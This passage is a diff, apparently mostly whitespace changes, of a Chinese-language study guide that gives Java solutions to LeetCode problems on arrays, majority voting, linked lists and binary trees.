+    int move = 0;
+    int median = findKthSmallest(nums, nums.length / 2);
+    for (int num : nums) {
+        move += Math.abs(num - median);
+    }
+    return move;
 }
 
-private int findKthSmallest(int[] nums, int k) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int j = partition(nums, l, h);
-        if (j == k) {
-            break;
-        }
-        if (j < k) {
-            l = j + 1;
-        } else {
-            h = j - 1;
-        }
-    }
-    return nums[k];
+private int findKthSmallest(int[] nums, int k) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int j = partition(nums, l, h);
+        if (j == k) {
+            break;
+        }
+        if (j < k) {
+            l = j + 1;
+        } else {
+            h = j - 1;
+        }
+    }
+    return nums[k];
 }
 
-private int partition(int[] nums, int l, int h) {
-    int i = l, j = h + 1;
-    while (true) {
-        while (nums[++i] < nums[l] && i < h) ;
-        while (nums[--j] > nums[l] && j > l) ;
-        if (i >= j) {
-            break;
-        }
-        swap(nums, i, j);
-    }
-    swap(nums, l, j);
-    return j;
+private int partition(int[] nums, int l, int h) {
+    int i = l, j = h + 1;
+    while (true) {
+        while (nums[++i] < nums[l] && i < h) ;
+        while (nums[--j] > nums[l] && j > l) ;
+        if (i >= j) {
+            break;
+        }
+        swap(nums, i, j);
+    }
+    swap(nums, l, j);
+    return j;
 }
 
-private void swap(int[] nums, int i, int j) {
-    int tmp = nums[i];
-    nums[i] = nums[j];
-    nums[j] = tmp;
+private void swap(int[] nums, int i, int j) {
+    int tmp = nums[i];
+    nums[i] = nums[j];
+    nums[j] = tmp;
 }
 ```
 
-### 多数投票问题
+### 多数投票问题
 
-**数组中出现次数多于 n / 2 的元素** 
+**数组中出现次数多于 n / 2 的元素**
 
-[169. Majority Element (Easy)](https://leetcode.com/problems/majority-element/description/)
+[169. Majority Element (Easy)](https://leetcode.com/problems/majority-element/description/)
 
-先对数组排序，最中间那个数出现次数一定多于 n / 2。
+先对数组排序，最中间那个数出现次数一定多于 n / 2。
 
 ```java
-public int majorityElement(int[] nums) {
-    Arrays.sort(nums);
-    return nums[nums.length / 2];
+public int majorityElement(int[] nums) {
+    Arrays.sort(nums);
+    return nums[nums.length / 2];
 }
 ```
 
-可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。可以这么理解该算法：使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素不相等时，令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2，因为如果多于 i / 2 的话 cnt 就一定不会为 0。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
+可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。可以这么理解该算法：使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素不相等时，令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2，因为如果多于 i / 2 的话 cnt 就一定不会为 0。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
 
 ```java
-public int majorityElement(int[] nums) {
-    int cnt = 0, majority = nums[0];
-    for (int num : nums) {
-        majority = (cnt == 0) ? num : majority;
-        cnt = (majority == num) ? cnt + 1 : cnt - 1;
-    }
-    return majority;
+public int majorityElement(int[] nums) {
+    int cnt = 0, majority = nums[0];
+    for (int num : nums) {
+        majority = (cnt == 0) ? num : majority;
+        cnt = (majority == num) ? cnt + 1 : cnt - 1;
+    }
+    return majority;
 }
 ```
 
-### 其它
+### 其它
 
-**平方数** 
+**平方数**
 
-[367. Valid Perfect Square (Easy)](https://leetcode.com/problems/valid-perfect-square/description/)
+[367. Valid Perfect Square (Easy)](https://leetcode.com/problems/valid-perfect-square/description/)
 
 ```html
-Input: 16
-Returns: True
+Input: 16
+Returns: True
 ```
 
 平方序列：1,4,9,16,..
 
 间隔：3,5,7,...
 
-间隔为等差数列，使用这个特性可以得到从 1 开始的平方序列。
+间隔为等差数列，使用这个特性可以得到从 1 开始的平方序列。
 
 ```java
-public boolean isPerfectSquare(int num) {
-    int subNum = 1;
-    while (num > 0) {
-        num -= subNum;
-        subNum += 2;
-    }
-    return num == 0;
+public boolean isPerfectSquare(int num) {
+    int subNum = 1;
+    while (num > 0) {
+        num -= subNum;
+        subNum += 2;
+    }
+    return num == 0;
 }
 ```
 
-**3 的 n 次方** 
+**3 的 n 次方**
 
-[326. Power of Three (Easy)](https://leetcode.com/problems/power-of-three/description/)
+[326. Power of Three (Easy)](https://leetcode.com/problems/power-of-three/description/)
 
 ```java
-public boolean isPowerOfThree(int n) {
-    return n > 0 && (1162261467 % n == 0);
+public boolean isPowerOfThree(int n) {
+    return n > 0 && (1162261467 % n == 0);
 }
 ```
 
-**乘积数组** 
+**乘积数组**
 
-[238. Product of Array Except Self (Medium)](https://leetcode.com/problems/product-of-array-except-self/description/)
+[238. Product of Array Except Self (Medium)](https://leetcode.com/problems/product-of-array-except-self/description/)
 
 ```html
-For example, given [1,2,3,4], return [24,12,8,6].
+For example, given [1,2,3,4], return [24,12,8,6].
 ```
 
 给定一个数组，创建一个新数组，新数组的每个元素为原始数组中除了该位置上的元素之外所有元素的乘积。
 
-要求时间复杂度为 O(N)，并且不能使用除法。
+要求时间复杂度为 O(N)，并且不能使用除法。
 
 ```java
-public int[] productExceptSelf(int[] nums) {
-    int n = nums.length;
-    int[] products = new int[n];
-    Arrays.fill(products, 1);
-    int left = 1;
-    for (int i = 1; i < n; i++) {
-        left *= nums[i - 1];
-        products[i] *= left;
-    }
-    int right = 1;
-    for (int i = n - 2; i >= 0; i--) {
-        right *= nums[i + 1];
-        products[i] *= right;
-    }
-    return products;
+public int[] productExceptSelf(int[] nums) {
+    int n = nums.length;
+    int[] products = new int[n];
+    Arrays.fill(products, 1);
+    int left = 1;
+    for (int i = 1; i < n; i++) {
+        left *= nums[i - 1];
+        products[i] *= left;
+    }
+    int right = 1;
+    for (int i = n - 2; i >= 0; i--) {
+        right *= nums[i + 1];
+        products[i] *= right;
+    }
+    return products;
 }
 ```
 
-**找出数组中的乘积最大的三个数** 
+**找出数组中的乘积最大的三个数**
 
-[628. Maximum Product of Three Numbers (Easy)](https://leetcode.com/problems/maximum-product-of-three-numbers/description/)
+[628. Maximum Product of Three Numbers (Easy)](https://leetcode.com/problems/maximum-product-of-three-numbers/description/)
 
 ```html
-Input: [1,2,3,4]
-Output: 24
+Input: [1,2,3,4]
+Output: 24
 ```
 
 ```java
-public int maximumProduct(int[] nums) {
-    int max1 = Integer.MIN_VALUE, max2 = Integer.MIN_VALUE, max3 = Integer.MIN_VALUE, min1 = Integer.MAX_VALUE, min2 = Integer.MAX_VALUE;
-    for (int n : nums) {
-        if (n > max1) {
-            max3 = max2;
-            max2 = max1;
-            max1 = n;
-        } else if (n > max2) {
-            max3 = max2;
-            max2 = n;
-        } else if (n > max3) {
-            max3 = n;
-        }
+public int maximumProduct(int[] nums) {
+    int max1 = Integer.MIN_VALUE, max2 = Integer.MIN_VALUE, max3 = Integer.MIN_VALUE, min1 = Integer.MAX_VALUE, min2 = Integer.MAX_VALUE;
+    for (int n : nums) {
+        if (n > max1) {
+            max3 = max2;
+            max2 = max1;
+            max1 = n;
+        } else if (n > max2) {
+            max3 = max2;
+            max2 = n;
+        } else if (n > max3) {
+            max3 = n;
+        }
 
-        if (n < min1) {
-            min2 = min1;
-            min1 = n;
-        } else if (n < min2) {
-            min2 = n;
-        }
-    }
-    return Math.max(max1*max2*max3, max1*min1*min2);
+        if (n < min1) {
+            min2 = min1;
+            min1 = n;
+        } else if (n < min2) {
+            min2 = n;
+        }
+    }
+    return Math.max(max1*max2*max3, max1*min1*min2);
 }
 ```
 
-# 数据结构相关
+# 数据结构相关
 
-## 链表
+## 链表
 
 链表是空节点，或者有一个值和一个指向下一个链表的指针，因此很多链表问题可以用递归来处理。
 
-**找出两个链表的交点** 
+**找出两个链表的交点**
 
-[160. Intersection of Two Linked Lists (Easy)](https://leetcode.com/problems/intersection-of-two-linked-lists/description/)
+[160. Intersection of Two Linked Lists (Easy)](https://leetcode.com/problems/intersection-of-two-linked-lists/description/)
 
 ```html
-A:          a1 → a2
-                    ↘
-                      c1 → c2 → c3
-                    ↗
-B:    b1 → b2 → b3
+A:          a1 → a2
+                    ↘
+                      c1 → c2 → c3
+                    ↗
+B:    b1 → b2 → b3
 ```
 
-要求：时间复杂度为 O(N)，空间复杂度为 O(1)
+要求：时间复杂度为 O(N)，空间复杂度为 O(1)
 
-设 A 的长度为 a + c，B 的长度为 b + c，其中 c 为尾部公共部分长度，可知 a + c + b = b + c + a。
+设 A 的长度为 a + c，B 的长度为 b + c，其中 c 为尾部公共部分长度，可知 a + c + b = b + c + a。
 
-当访问 A 链表的指针访问到链表尾部时，令它从链表 B 的头部开始访问链表 B；同样地，当访问 B 链表的指针访问到链表尾部时，令它从链表 A 的头部开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
+当访问 A 链表的指针访问到链表尾部时，令它从链表 B 的头部开始访问链表 B；同样地，当访问 B 链表的指针访问到链表尾部时，令它从链表 A 的头部开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
 
 ```java
-public ListNode getIntersectionNode(ListNode headA, ListNode headB) {
-    ListNode l1 = headA, l2 = headB;
-    while (l1 != l2) {
-        l1 = (l1 == null) ? headB : l1.next;
-        l2 = (l2 == null) ? headA : l2.next;
-    }
-    return l1;
+public ListNode getIntersectionNode(ListNode headA, ListNode headB) {
+    ListNode l1 = headA, l2 = headB;
+    while (l1 != l2) {
+        l1 = (l1 == null) ? headB : l1.next;
+        l2 = (l2 == null) ? headA : l2.next;
+    }
+    return l1;
 }
 ```
 
-如果只是判断是否存在交点，那么就是另一个问题，即 [编程之美 3.6]() 的问题。有两种解法：
+如果只是判断是否存在交点，那么就是另一个问题，即 [编程之美 3.6]() 的问题。有两种解法：
 
-- 把第一个链表的结尾连接到第二个链表的开头，看第二个链表是否存在环；
-- 或者直接比较两个链表的最后一个节点是否相同。
+- 把第一个链表的结尾连接到第二个链表的开头，看第二个链表是否存在环；
+- 或者直接比较两个链表的最后一个节点是否相同。
 
-**链表反转** 
+**链表反转**
 
-[206. Reverse Linked List (Easy)](https://leetcode.com/problems/reverse-linked-list/description/)
+[206. Reverse Linked List (Easy)](https://leetcode.com/problems/reverse-linked-list/description/)
 
 递归
 
 ```java
-public ListNode reverseList(ListNode head) {
-    if (head == null || head.next == null) {
-        return head;
-    }
-    ListNode next = head.next;
-    ListNode newHead = reverseList(next);
-    next.next = head;
-    head.next = null;
-    return newHead;
+public ListNode reverseList(ListNode head) {
+    if (head == null || head.next == null) {
+        return head;
+    }
+    ListNode next = head.next;
+    ListNode newHead = reverseList(next);
+    next.next = head;
+    head.next = null;
+    return newHead;
 }
 ```
 
 头插法
 
 ```java
-public ListNode reverseList(ListNode head) {
-    ListNode newHead = new ListNode(-1);
-    while (head != null) {
-        ListNode next = head.next;
-        head.next = newHead.next;
-        newHead.next = head;
-        head = next;
-    }
-    return newHead.next;
+public ListNode reverseList(ListNode head) {
+    ListNode newHead = new ListNode(-1);
+    while (head != null) {
+        ListNode next = head.next;
+        head.next = newHead.next;
+        newHead.next = head;
+        head = next;
+    }
+    return newHead.next;
 }
 ```
 
-**归并两个有序的链表** 
+**归并两个有序的链表**
 
-[21. Merge Two Sorted Lists (Easy)](https://leetcode.com/problems/merge-two-sorted-lists/description/)
+[21. Merge Two Sorted Lists (Easy)](https://leetcode.com/problems/merge-two-sorted-lists/description/)
 
 ```java
-public ListNode mergeTwoLists(ListNode l1, ListNode l2) {
-    if (l1 == null) return l2;
-    if (l2 == null) return l1;
-    if (l1.val < l2.val) {
-        l1.next = mergeTwoLists(l1.next, l2);
-        return l1;
-    } else {
-        l2.next = mergeTwoLists(l1, l2.next);
-        return l2;
-    }
+public ListNode mergeTwoLists(ListNode l1, ListNode l2) {
+    if (l1 == null) return l2;
+    if (l2 == null) return l1;
+    if (l1.val < l2.val) {
+        l1.next = mergeTwoLists(l1.next, l2);
+        return l1;
+    } else {
+        l2.next = mergeTwoLists(l1, l2.next);
+        return l2;
+    }
 }
 ```
 
-**从有序链表中删除重复节点** 
+**从有序链表中删除重复节点**
 
-[83. Remove Duplicates from Sorted List (Easy)](https://leetcode.com/problems/remove-duplicates-from-sorted-list/description/)
+[83. Remove Duplicates from Sorted List (Easy)](https://leetcode.com/problems/remove-duplicates-from-sorted-list/description/)
 
 ```html
-Given 1->1->2, return 1->2.
-Given 1->1->2->3->3, return 1->2->3.
+Given 1->1->2, return 1->2.
+Given 1->1->2->3->3, return 1->2->3.
 ```
 
 ```java
-public ListNode deleteDuplicates(ListNode head) {
-    if (head == null || head.next == null) return head;
-    head.next = deleteDuplicates(head.next);
-    return head.val == head.next.val ? head.next : head;
+public ListNode deleteDuplicates(ListNode head) {
+    if (head == null || head.next == null) return head;
+    head.next = deleteDuplicates(head.next);
+    return head.val == head.next.val ? head.next : head;
 }
 ```
 
-**删除链表的倒数第 n 个节点** 
+**删除链表的倒数第 n 个节点**
 
-[19. Remove Nth Node From End of List (Medium)](https://leetcode.com/problems/remove-nth-node-from-end-of-list/description/)
+[19. Remove Nth Node From End of List (Medium)](https://leetcode.com/problems/remove-nth-node-from-end-of-list/description/)
 
 ```html
-Given linked list: 1->2->3->4->5, and n = 2.
-After removing the second node from the end, the linked list becomes 1->2->3->5.
+Given linked list: 1->2->3->4->5, and n = 2.
+After removing the second node from the end, the linked list becomes 1->2->3->5.
 ```
 
 ```java
-public ListNode removeNthFromEnd(ListNode head, int n) {
-    ListNode fast = head;
-    while (n-- > 0) {
-        fast = fast.next;
-    }
-    if (fast == null) return head.next;
-    ListNode slow = head;
-    while (fast.next != null) {
-        fast = fast.next;
-        slow = slow.next;
-    }
-    slow.next = slow.next.next;
-    return head;
+public ListNode removeNthFromEnd(ListNode head, int n) {
+    ListNode fast = head;
+    while (n-- > 0) {
+        fast = fast.next;
+    }
+    if (fast == null) return head.next;
+    ListNode slow = head;
+    while (fast.next != null) {
+        fast = fast.next;
+        slow = slow.next;
+    }
+    slow.next = slow.next.next;
+    return head;
 }
 ```
 
-**交换链表中的相邻结点** 
+**交换链表中的相邻结点**
 
-[24. Swap Nodes in Pairs (Medium)](https://leetcode.com/problems/swap-nodes-in-pairs/description/)
+[24. Swap Nodes in Pairs (Medium)](https://leetcode.com/problems/swap-nodes-in-pairs/description/)
 
 ```html
-Given 1->2->3->4, you should return the list as 2->1->4->3.
+Given 1->2->3->4, you should return the list as 2->1->4->3.
 ```
 
-题目要求：不能修改结点的 val 值，O(1) 空间复杂度。
+题目要求：不能修改结点的 val 值，O(1) 空间复杂度。
 
 ```java
-public ListNode swapPairs(ListNode head) {
-    ListNode node = new ListNode(-1);
-    node.next = head;
-    ListNode pre = node;
-    while (pre.next != null && pre.next.next != null) {
-        ListNode l1 = pre.next, l2 = pre.next.next;
-        ListNode next = l2.next;
-        l1.next = next;
-        l2.next = l1;
-        pre.next = l2;
+public ListNode swapPairs(ListNode head) {
+    ListNode node = new ListNode(-1);
+    node.next = head;
+    ListNode pre = node;
+    while (pre.next != null && pre.next.next != null) {
+        ListNode l1 = pre.next, l2 = pre.next.next;
+        ListNode next = l2.next;
+        l1.next = next;
+        l2.next = l1;
+        pre.next = l2;
 
-        pre = l1;
-    }
-    return node.next;
+        pre = l1;
+    }
+    return node.next;
 }
 ```
 
-**链表求和** 
+**链表求和**
 
-[445. Add Two Numbers II (Medium)](https://leetcode.com/problems/add-two-numbers-ii/description/)
+[445. Add Two Numbers II (Medium)](https://leetcode.com/problems/add-two-numbers-ii/description/)
 
 ```html
-Input: (7 -> 2 -> 4 -> 3) + (5 -> 6 -> 4)
-Output: 7 -> 8 -> 0 -> 7
+Input: (7 -> 2 -> 4 -> 3) + (5 -> 6 -> 4)
+Output: 7 -> 8 -> 0 -> 7
 ```
 
 题目要求：不能修改原始链表。
 
 ```java
-public ListNode addTwoNumbers(ListNode l1, ListNode l2) {
-    Stack<Integer> l1Stack = buildStack(l1);
-    Stack<Integer> l2Stack = buildStack(l2);
-    ListNode head = new ListNode(-1);
-    int carry = 0;
-    while (!l1Stack.isEmpty() || !l2Stack.isEmpty() || carry != 0) {
-        int x = l1Stack.isEmpty() ? 0 : l1Stack.pop();
-        int y = l2Stack.isEmpty() ? 0 : l2Stack.pop();
-        int sum = x + y + carry;
-        ListNode node = new ListNode(sum % 10);
-        node.next = head.next;
-        head.next = node;
-        carry = sum / 10;
-    }
-    return head.next;
+public ListNode addTwoNumbers(ListNode l1, ListNode l2) {
+    Stack<Integer> l1Stack = buildStack(l1);
+    Stack<Integer> l2Stack = buildStack(l2);
+    ListNode head = new ListNode(-1);
+    int carry = 0;
+    while (!l1Stack.isEmpty() || !l2Stack.isEmpty() || carry != 0) {
+        int x = l1Stack.isEmpty() ? 0 : l1Stack.pop();
+        int y = l2Stack.isEmpty() ? 0 : l2Stack.pop();
+        int sum = x + y + carry;
+        ListNode node = new ListNode(sum % 10);
+        node.next = head.next;
+        head.next = node;
+        carry = sum / 10;
+    }
+    return head.next;
 }
 
-private Stack<Integer> buildStack(ListNode l) {
-    Stack<Integer> stack = new Stack<>();
-    while (l != null) {
-        stack.push(l.val);
-        l = l.next;
-    }
-    return stack;
+private Stack<Integer> buildStack(ListNode l) {
+    Stack<Integer> stack = new Stack<>();
+    while (l != null) {
+        stack.push(l.val);
+        l = l.next;
+    }
+    return stack;
 }
 ```
 
-**回文链表** 
+**回文链表**
 
-[234. Palindrome Linked List (Easy)](https://leetcode.com/problems/palindrome-linked-list/description/)
+[234. Palindrome Linked List (Easy)](https://leetcode.com/problems/palindrome-linked-list/description/)
 
-题目要求：以 O(1) 的空间复杂度来求解。
+题目要求：以 O(1) 的空间复杂度来求解。
 
 切成两半，把后半段反转，然后比较两半是否相等。
 
 ```java
-public boolean isPalindrome(ListNode head) {
-    if (head == null || head.next == null) return true;
-    ListNode slow = head, fast = head.next;
-    while (fast != null && fast.next != null) {
-        slow = slow.next;
-        fast = fast.next.next;
-    }
-    if (fast != null) slow = slow.next;  // 偶数节点，让 slow 指向下一个节点
-    cut(head, slow);                     // 切成两个链表
-    return isEqual(head, reverse(slow));
+public boolean isPalindrome(ListNode head) {
+    if (head == null || head.next == null) return true;
+    ListNode slow = head, fast = head.next;
+    while (fast != null && fast.next != null) {
+        slow = slow.next;
+        fast = fast.next.next;
+    }
+    if (fast != null) slow = slow.next;  // 偶数节点，让 slow 指向下一个节点
+    cut(head, slow);                     // 切成两个链表
+    return isEqual(head, reverse(slow));
 }
 
-private void cut(ListNode head, ListNode cutNode) {
-    while (head.next != cutNode) {
-        head = head.next;
-    }
-    head.next = null;
+private void cut(ListNode head, ListNode cutNode) {
+    while (head.next != cutNode) {
+        head = head.next;
+    }
+    head.next = null;
 }
 
-private ListNode reverse(ListNode head) {
-    ListNode newHead = null;
-    while (head != null) {
-        ListNode nextNode = head.next;
-        head.next = newHead;
-        newHead = head;
-        head = nextNode;
-    }
-    return newHead;
+private ListNode reverse(ListNode head) {
+    ListNode newHead = null;
+    while (head != null) {
+        ListNode nextNode = head.next;
+        head.next = newHead;
+        newHead = head;
+        head = nextNode;
+    }
+    return newHead;
 }
 
-private boolean isEqual(ListNode l1, ListNode l2) {
-    while (l1 != null && l2 != null) {
-        if (l1.val != l2.val) return false;
-        l1 = l1.next;
-        l2 = l2.next;
-    }
-    return true;
+private boolean isEqual(ListNode l1, ListNode l2) {
+    while (l1 != null && l2 != null) {
+        if (l1.val != l2.val) return false;
+        l1 = l1.next;
+        l2 = l2.next;
+    }
+    return true;
 }
 ```
 
-**分隔链表** 
+**分隔链表**
 
-[725. Split Linked List in Parts(Medium)](https://leetcode.com/problems/split-linked-list-in-parts/description/)
+[725. Split Linked List in Parts(Medium)](https://leetcode.com/problems/split-linked-list-in-parts/description/)
 
 ```html
 Input:
-root = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], k = 3
-Output: [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
+root = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], k = 3
+Output: [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
 Explanation:
-The input has been split into consecutive parts with size difference at most 1, and earlier parts are a larger size than the later parts.
+The input has been split into consecutive parts with size difference at most 1, and earlier parts are a larger size than the later parts.
 ```
 
-题目描述：把链表分隔成 k 部分，每部分的长度都应该尽可能相同，排在前面的长度应该大于等于后面的。
+题目描述：把链表分隔成 k 部分，每部分的长度都应该尽可能相同，排在前面的长度应该大于等于后面的。
 
 ```java
-public ListNode[] splitListToParts(ListNode root, int k) {
-    int N = 0;
-    ListNode cur = root;
-    while (cur != null) {
-        N++;
-        cur = cur.next;
-    }
-    int mod = N % k;
-    int size = N / k;
-    ListNode[] ret = new ListNode[k];
-    cur = root;
-    for (int i = 0; cur != null && i < k; i++) {
-        ret[i] = cur;
-        int curSize = size + (mod-- > 0 ? 1 : 0);
-        for (int j = 0; j < curSize - 1; j++) {
-            cur = cur.next;
-        }
-        ListNode next = cur.next;
-        cur.next = null;
-        cur = next;
-    }
-    return ret;
+public ListNode[] splitListToParts(ListNode root, int k) {
+    int N = 0;
+    ListNode cur = root;
+    while (cur != null) {
+        N++;
+        cur = cur.next;
+    }
+    int mod = N % k;
+    int size = N / k;
+    ListNode[] ret = new ListNode[k];
+    cur = root;
+    for (int i = 0; cur != null && i < k; i++) {
+        ret[i] = cur;
+        int curSize = size + (mod-- > 0 ? 1 : 0);
+        for (int j = 0; j < curSize - 1; j++) {
+            cur = cur.next;
+        }
+        ListNode next = cur.next;
+        cur.next = null;
+        cur = next;
+    }
+    return ret;
 }
 ```
 
-**链表元素按奇偶聚集** 
+**链表元素按奇偶聚集**
 
-[328. Odd Even Linked List (Medium)](https://leetcode.com/problems/odd-even-linked-list/description/)
+[328. Odd Even Linked List (Medium)](https://leetcode.com/problems/odd-even-linked-list/description/)
 
 ```html
 Example:
-Given 1->2->3->4->5->NULL,
-return 1->3->5->2->4->NULL.
+Given 1->2->3->4->5->NULL,
+return 1->3->5->2->4->NULL.
 ```
 
 ```java
-public ListNode oddEvenList(ListNode head) {
-    if (head == null) {
-        return head;
-    }
-    ListNode odd = head, even = head.next, evenHead = even;
-    while (even != null && even.next != null) {
-        odd.next = odd.next.next;
-        odd = odd.next;
-        even.next = even.next.next;
-        even = even.next;
-    }
-    odd.next = evenHead;
-    return head;
+public ListNode oddEvenList(ListNode head) {
+    if (head == null) {
+        return head;
+    }
+    ListNode odd = head, even = head.next, evenHead = even;
+    while (even != null && even.next != null) {
+        odd.next = odd.next.next;
+        odd = odd.next;
+        even.next = even.next.next;
+        even = even.next;
+    }
+    odd.next = evenHead;
+    return head;
 }
 ```
 
-## 树
+## 树
 
-### 递归
+### 递归
 
 一棵树要么是空树，要么有两个指针，每个指针指向一棵树。树是一种递归结构，很多树的问题可以使用递归来处理。
 
-**树的高度** 
+**树的高度**
 
-[104. Maximum Depth of Binary Tree (Easy)](https://leetcode.com/problems/maximum-depth-of-binary-tree/description/)
+[104. Maximum Depth of Binary Tree (Easy)](https://leetcode.com/problems/maximum-depth-of-binary-tree/description/)
 
 ```java
-public int maxDepth(TreeNode root) {
-    if (root == null) return 0;
-    return Math.max(maxDepth(root.left), maxDepth(root.right)) + 1;
+public int maxDepth(TreeNode root) {
+    if (root == null) return 0;
+    return Math.max(maxDepth(root.left), maxDepth(root.right)) + 1;
 }
 ```
 
-**平衡树** 
+**平衡树**
 
-[110. Balanced Binary Tree (Easy)](https://leetcode.com/problems/balanced-binary-tree/description/)
+[110. Balanced Binary Tree (Easy)](https://leetcode.com/problems/balanced-binary-tree/description/)
 
 ```html
-    3
-   / \
-  9  20
-    /  \
-   15   7
+    3
+   / \
+  9  20
+    /  \
+   15   7
 ```
 
-平衡树左右子树高度差都小于等于 1
+平衡树左右子树高度差都小于等于 1
 
 ```java
-private boolean result = true;
+private boolean result = true;
 
-public boolean isBalanced(TreeNode root) {
-    maxDepth(root);
-    return result;
+public boolean isBalanced(TreeNode root) {
+    maxDepth(root);
+    return result;
 }
 
-public int maxDepth(TreeNode root) {
-    if (root == null) return 0;
-    int l = maxDepth(root.left);
-    int r = maxDepth(root.right);
-    if (Math.abs(l - r) > 1) result = false;
-    return 1 + Math.max(l, r);
+public int maxDepth(TreeNode root) {
+    if (root == null) return 0;
+    int l = maxDepth(root.left);
+    int r = maxDepth(root.right);
+    if (Math.abs(l - r) > 1) result = false;
+    return 1 + Math.max(l, r);
 }
 ```
 
-**两节点的最长路径** 
+**两节点的最长路径**
 
-[543. Diameter of Binary Tree (Easy)](https://leetcode.com/problems/diameter-of-binary-tree/description/)
+[543. Diameter of Binary Tree (Easy)](https://leetcode.com/problems/diameter-of-binary-tree/description/)
 
 ```html
 Input:
 
-         1
-        / \
-       2  3
-      / \
-     4   5
+         1
+        / \
+       2  3
+      / \
+     4   5
 
-Return 3, which is the length of the path [4,2,1,3] or [5,2,1,3].
+Return 3, which is the length of the path [4,2,1,3] or [5,2,1,3].
 ```
 
 ```java
-private int max = 0;
+private int max = 0;
 
-public int diameterOfBinaryTree(TreeNode root) {
-    depth(root);
-    return max;
+public int diameterOfBinaryTree(TreeNode root) {
+    depth(root);
+    return max;
 }
 
-private int depth(TreeNode root) {
-    if (root == null) return 0;
-    int leftDepth = depth(root.left);
-    int rightDepth = depth(root.right);
-    max = Math.max(max, leftDepth + rightDepth);
-    return Math.max(leftDepth, rightDepth) + 1;
+private int depth(TreeNode root) {
+    if (root == null) return 0;
+    int leftDepth = depth(root.left);
+    int rightDepth = depth(root.right);
+    max = Math.max(max, leftDepth + rightDepth);
+    return Math.max(leftDepth, rightDepth) + 1;
 }
 ```
 
-**翻转树** 
+**翻转树**
 
-[226. Invert Binary Tree (Easy)](https://leetcode.com/problems/invert-binary-tree/description/)
+[226. Invert Binary Tree (Easy)](https://leetcode.com/problems/invert-binary-tree/description/)
 
 ```java
-public TreeNode invertTree(TreeNode root) {
-    if (root == null) return null;
-    TreeNode left = root.left;  // 后面的操作会改变 left 指针，因此先保存下来
-    root.left = invertTree(root.right);
-    root.right = invertTree(left);
-    return root;
+public TreeNode invertTree(TreeNode root) {
+    if (root == null) return null;
+    TreeNode left = root.left;  // 后面的操作会改变 left 指针，因此先保存下来
+    root.left = invertTree(root.right);
+    root.right = invertTree(left);
+    return root;
 }
 ```
 
-**归并两棵树** 
+**归并两棵树**
 
-[617. Merge Two Binary Trees (Easy)](https://leetcode.com/problems/merge-two-binary-trees/description/)
+[617. Merge Two Binary Trees (Easy)](https://leetcode.com/problems/merge-two-binary-trees/description/)
 
 ```html
 Input:
-       Tree 1                     Tree 2
-          1                         2
-         / \                       / \
-        3   2                     1   3
-       /                           \   \
-      5                             4   7
+       Tree 1                     Tree 2
+          1                         2
+         / \                       / \
+        3   2                     1   3
+       /                           \   \
+      5                             4   7
 
 Output:
-         3
-        / \
-       4   5
-      / \   \
-     5   4   7
+         3
+        / \
+       4   5
+      / \   \
+     5   4   7
 ```
 
 ```java
-public TreeNode mergeTrees(TreeNode t1, TreeNode t2) {
-    if (t1 == null && t2 == null) return null;
-    if (t1 == null) return t2;
-    if (t2 == null) return t1;
-    TreeNode root = new TreeNode(t1.val + t2.val);
-    root.left = mergeTrees(t1.left, t2.left);
-    root.right = mergeTrees(t1.right, t2.right);
-    return root;
+public TreeNode mergeTrees(TreeNode t1, TreeNode t2) {
+    if (t1 == null && t2 == null) return null;
+    if (t1 == null) return t2;
+    if (t2 == null) return t1;
+    TreeNode root = new TreeNode(t1.val + t2.val);
+    root.left = mergeTrees(t1.left, t2.left);
+    root.right = mergeTrees(t1.right, t2.right);
+    return root;
 }
 ```
 
-**判断路径和是否等于一个数** 
+**判断路径和是否等于一个数**
 
-[Leetcdoe : 112. Path Sum (Easy)](https://leetcode.com/problems/path-sum/description/)
+[Leetcdoe : 112. Path Sum (Easy)](https://leetcode.com/problems/path-sum/description/)
 
 ```html
-Given the below binary tree and sum = 22,
+Given the below binary tree and sum = 22,
 
-              5
-             / \
-            4   8
-           /   / \
-          11  13  4
-         /  \      \
-        7    2      1
+              5
+             / \
+            4   8
+           /   / \
+          11  13  4
+         /  \      \
+        7    2      1
 
-return true, as there exist a root-to-leaf path 5->4->11->2 which sum is 22.
+return true, as there exist a root-to-leaf path 5->4->11->2 which sum is 22.
 ```
 
-路径和定义为从 root 到 leaf 的所有节点的和。
+路径和定义为从 root 到 leaf 的所有节点的和。
 
 ```java
-public boolean hasPathSum(TreeNode root, int sum) {
-    if (root == null) return false;
-    if (root.left == null && root.right == null && root.val == sum) return true;
-    return hasPathSum(root.left, sum - root.val) || hasPathSum(root.right, sum - root.val);
+public boolean hasPathSum(TreeNode root, int sum) {
+    if (root == null) return false;
+    if (root.left == null && root.right == null && root.val == sum) return true;
+    return hasPathSum(root.left, sum - root.val) || hasPathSum(root.right, sum - root.val);
 }
 ```
 
-**统计路径和等于一个数的路径数量** 
+**统计路径和等于一个数的路径数量**
 
-[437. Path Sum III (Easy)](https://leetcode.com/problems/path-sum-iii/description/)
+[437. Path Sum III (Easy)](https://leetcode.com/problems/path-sum-iii/description/)
 
 ```html
-root = [10,5,-3,3,2,null,11,3,-2,null,1], sum = 8
+root = [10,5,-3,3,2,null,11,3,-2,null,1], sum = 8
 
-      10
-     /  \
-    5   -3
-   / \    \
-  3   2   11
- / \   \
-3  -2   1
+      10
+     /  \
+    5   -3
+   / \    \
+  3   2   11
+ / \   \
+3  -2   1
 
-Return 3. The paths that sum to 8 are:
+Return 3. The paths that sum to 8 are:
 
